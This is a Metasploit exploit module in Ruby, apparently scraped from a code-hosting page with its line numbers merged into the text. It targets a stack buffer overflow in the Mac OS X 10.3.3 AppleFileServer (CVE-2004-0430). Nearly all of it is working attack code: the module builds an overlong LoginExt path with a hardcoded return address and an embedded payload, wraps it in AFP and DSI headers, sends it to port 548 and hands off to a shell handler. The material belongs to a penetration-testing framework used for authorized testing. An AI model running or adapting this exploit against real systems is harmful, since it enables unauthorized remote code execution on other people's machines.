Path: blob/master/modules/exploits/osx/afp/loginext.rb
32978 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'AppleFileServer LoginExt PathName Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in the AppleFileServer service17on MacOS X. This vulnerability was originally reported by Atstake and18was actually one of the few useful advisories ever published by that19company. You only have one chance to exploit this bug.20This particular exploit uses a stack-based return address that will21only work under optimal conditions.22},23'Author' => 'hdm',24'License' => MSF_LICENSE,25'References' => [26[ 'CVE', '2004-0430'],27[ 'OSVDB', '5762'],28[ 'BID', '10271'],29],30'Payload' => {31'Space' => 512,32'BadChars' => "\x00\x20",33'MinNops' => 128,34'Compat' =>35{36'ConnectionType' => '+find'37}38},39'Targets' => [40# Target 041[42'Mac OS X 10.3.3',43{44'Platform' => 'osx',45'Arch' => ARCH_PPC,46'Ret' => 0xf0101c0c # stack address :<47},48],49],50'DisclosureDate' => '2004-05-03',51'Notes' => {52'Reliability' => UNKNOWN_RELIABILITY,53'Stability' => UNKNOWN_STABILITY,54'SideEffects' => UNKNOWN_SIDE_EFFECTS55}56)57)5859# Configure the default port to be AFP60register_options(61[62Opt::RPORT(548),63]64)65end6667def exploit68connect6970print_status("Trying target #{target.name}...")7172path = "\xff" * 102473path[168, 4] = Rex::Arch.pack_addr(target.arch, target.ret)74path[172, payload.encoded.length] = payload.encoded7576# The AFP header77afp = "\x3f\x00\x00\x00"7879# Add the authentication methods80['AFP3.1', 'Cleartxt Passwrd'].each do |m|81afp << [m.length].pack('C') + m82end8384# Add the user type and afp path85afp << "\x03" + [9].pack('n') + rand_text_alphanumeric(9)86afp << "\x03" + [path.length].pack('n') + path8788# Add the data stream interface header89dsi =90[910, # Flags922, # Command93rand(65536), # XID940, # Data Offset95afp.length, # Data Length960 # Reserved97].pack('CCnNNN') + afp9899sock.put(dsi)100101handler102103disconnect104end105end106107108